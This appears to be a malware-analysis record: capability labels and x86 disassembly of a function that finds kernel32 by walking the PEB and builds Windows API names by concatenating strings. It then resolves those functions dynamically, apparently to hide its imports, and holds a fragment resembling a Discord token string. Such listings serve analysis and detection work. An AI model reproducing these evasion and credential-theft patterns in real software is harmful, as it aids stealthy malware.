Function at 0x41b8e7
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
lea ebp, [esp - 0x3a20]
mov eax, 0x3aa0
call fcn.004309a0
mov eax, dword [0x448674]
xor eax, ebp
mov dword [ebp + 0x3a1c], eax
mov eax, 0x3e8
mov edx, eax
lea ecx, [ebp + 0x1ec4]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b913
mov edx, eax
lea ecx, [ebp + 0x16f4]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b922
mov edx, eax
lea ecx, [ebp + 0xf24]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b931
mov edx, eax
lea ecx, [ebp - 0x7c]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b93d
mov edx, eax
lea ecx, [ebp + 0x130c]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b94c
mov edx, eax
lea ecx, [ebp + 0x36c]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b95b
mov edx, eax
lea ecx, [ebp + 0x1adc]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b96a
mov edx, eax
lea ecx, [ebp + 0x2e64]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b979
mov edx, eax
lea ecx, [ebp + 0x2a7c]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b988
mov edx, eax
lea ecx, [ebp + 0x754]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b997
mov edx, eax
lea ecx, [ebp + 0xb3c]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b9a6
mov edx, eax
lea ecx, [ebp + 0x22ac]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b9b5
mov edx, eax
lea ecx, [ebp + 0x2694]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b9c4
mov edx, eax
lea ecx, [ebp + 0x324c]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x41b9d3
lea ecx, [ebp + 0x3634]
mov byte [ecx], 0
inc ecx
dec eax
jne 0x41b9e0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push str.lstr
lea eax, [ebp + 0xf24]
push eax
call esi
push 0x442bcc
lea eax, [ebp + 0xf24]
push eax
call esi
mov ebx, 0x441f18
push ebx
lea eax, [ebp + 0xf24]
push eax
call esi
push str.Load
lea eax, [ebp + 0x1ec4]
push eax
call esi
push str.Library
lea eax, [ebp + 0x1ec4]
push eax
call esi
push ebx
lea eax, [ebp + 0x1ec4]
push eax
call esi
mov edi, 0x442be0
push edi
lea eax, [ebp + 0x16f4]
push eax
call esi
push str.Proc
lea eax, [ebp + 0x16f4]
push eax
call esi
push str.Address
lea eax, [ebp + 0x16f4]
push eax
call esi
push 0x442bf4
lea eax, [ebp - 0x7c]
push eax
call esi
push 0x442bf8
lea eax, [ebp - 0x7c]
push eax
call esi
push edi
lea eax, [ebp + 0x130c]
push eax
call esi
push str.System
lea eax, [ebp + 0x130c]
push eax
call esi
push str.Time
lea eax, [ebp + 0x130c]
push eax
call esi
push str.Exit
lea eax, [ebp + 0x36c]
push eax
call esi
push str.Process
lea eax, [ebp + 0x36c]
push eax
call esi
push edi
lea eax, [ebp + 0x1adc]
push eax
call esi
push str.Current
lea eax, [ebp + 0x1adc]
push eax
call esi
push str.Process
lea eax, [ebp + 0x1adc]
push eax
call esi
push str.Virt
lea eax, [ebp + 0x2e64]
push eax
call esi
push 0x442c2c
lea eax, [ebp + 0x2e64]
push eax
call esi
push 0x442c30
lea eax, [ebp + 0x2e64]
push eax
call esi
push 0x442c34
lea eax, [ebp + 0x2e64]
push eax
call esi
push 0x442c38
lea eax, [ebp + 0x2e64]
push eax
call esi
push 0x442c3c
lea eax, [ebp + 0x2e64]
push eax
call esi
push 0x442c40
lea eax, [ebp + 0x2e64]
push eax
call esi
push str.Virt
lea eax, [ebp + 0x2a7c]
push eax
call esi
push 0x442c2c
lea eax, [ebp + 0x2a7c]
push eax
call esi
push 0x442c30
lea eax, [ebp + 0x2a7c]
push eax
call esi
push 0x442c34
lea eax, [ebp + 0x2a7c]
push eax
call esi
push str.Virt
lea eax, [ebp + 0x754]
push eax
call esi
push 0x442c2c
lea eax, [ebp + 0x754]
push eax
call esi
push str.Free
lea eax, [ebp + 0x754]
push eax
call esi
push str.lstr
lea eax, [ebp + 0xb3c]
push eax
call esi
push str.cmpi
lea eax, [ebp + 0xb3c]
push eax
call esi
push 0x441b0c
lea eax, [ebp + 0xb3c]
push eax
call esi
push 0x442c54
lea eax, [ebp + 0x22ac]
push eax
call esi
push 0x442c58
lea eax, [ebp + 0x22ac]
push eax
call esi
push 0x442c30
lea eax, [ebp + 0x22ac]
push eax
call esi
push 0x442c34
lea eax, [ebp + 0x22ac]
push eax
call esi
push edi
lea eax, [ebp + 0x2694]
push eax
call esi
push str.Computer
lea eax, [ebp + 0x2694]
push eax
call esi
push str.Name
lea eax, [ebp + 0x2694]
push eax
call esi
push ebx
lea eax, [ebp + 0x2694]
push eax
call esi
and dword [ebp - 0x80], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x80], eax
mov esi, dword [ebp - 0x80]
mov dword [0x44b280], esi
test esi, esi
je 0x41bd8b
lea eax, [ebp + 0x1ec4]
push eax
call fcn.0041b83d
mov dword [0x44b228], eax
lea eax, [ebp + 0x16f4]
push eax
call fcn.0041b83d
pop ecx
pop ecx
lea ecx, [ebp + 0xf24]
push ecx
push esi
mov dword [0x44b184], eax
call eax
mov dword [0x44b234], eax
lea eax, [ebp - 0x7c]
push eax
push dword [0x44b280]
call dword [0x44b184]
mov dword [0x44b0a4], eax
lea eax, [ebp + 0x130c]
push eax
push dword [0x44b280]
call dword [0x44b184]
mov dword [0x44b1cc], eax
lea eax, [ebp + 0x36c]
push eax
push dword [0x44b280]
call dword [0x44b184]
mov dword [0x44b194], eax
lea eax, [ebp + 0x1adc]
push eax
push dword [0x44b280]
call dword [0x44b184]
mov dword [0x44b2b0], eax
lea eax, [ebp + 0x2e64]
push eax
push dword [0x44b280]
call dword [0x44b184]
mov dword [0x44b268], eax
lea eax, [ebp + 0x2a7c]
push eax
push dword [0x44b280]
call dword [0x44b184]
mov dword [0x44b1dc], eax
lea eax, [ebp + 0x754]
push eax
push dword [0x44b280]
call dword [0x44b184]
mov dword [0x44b108], eax
lea eax, [ebp + 0xb3c]
push eax
push dword [0x44b280]
call dword [0x44b184]
mov dword [0x44b208], eax
lea eax, [ebp + 0x22ac]
push eax
push dword [0x44b280]
call dword [0x44b184]
mov dword [0x44b1d8], eax
lea eax, [ebp + 0x2694]
push eax
push dword [0x44b280]
call dword [0x44b184]
mov dword [0x44b20c], eax
mov edi, 0x441b7c
push edi
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b234]
mov esi, str.discorQw49WgX:D_Tken
push esi
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b234]
push 0x441b8c
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b234]
push edi
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b234]
push 0x442618
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b234]
push 0x441ae8
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b234]
push str.32Gm
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b234]
push 0x442c74
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b234]
push 0x441ac4
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b234]
push esi
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b234]
mov esi, 0x441b80
push esi
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b234]
push esi
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b234]
push 0x442c78
lea eax, [ebp + 0x3634]
push eax
call dword [0x44b234]
mov esi, 0x441b2c
push esi
lea eax, [ebp + 0x3634]
push eax
call dword [0x44b234]
push 0x441b88
lea eax, [ebp + 0x3634]
push eax
call dword [0x44b234]
push 0x441b94
lea eax, [ebp + 0x3634]
push eax
call dword [0x44b234]
push 0x441aec
lea eax, [ebp + 0x3634]
push eax
call dword [0x44b234]
push esi
lea eax, [ebp + 0x3634]
push eax
call dword [0x44b234]
push 0x441af8
lea eax, [ebp + 0x3634]
push eax
call dword [0x44b234]
push 0x441ba0
lea eax, [ebp + 0x3634]
push eax
call dword [0x44b234]
push edi
lea eax, [ebp + 0x3634]
push eax
call dword [0x44b234]
push 0x442c7c
lea eax, [ebp + 0x3634]
push eax
call dword [0x44b234]
push esi
lea eax, [ebp + 0x3634]
push eax
call dword [0x44b234]
push ebx
lea eax, [ebp + 0x3634]
push eax
call dword [0x44b234]
lea eax, [ebp + 0x324c]
push eax
call dword [0x44b228]
pop edi
pop esi
mov dword [0x44b06c], eax
pop ebx
test eax, eax
je 0x41bf4f
lea ecx, [ebp + 0x3634]
push ecx
push eax
call dword [0x44b184]
mov dword [0x44b15c], eax
mov ecx, dword [ebp + 0x3a1c]
xor ecx, ebp
call fcn.00420e82
add ebp, 0x3a20
leave
ret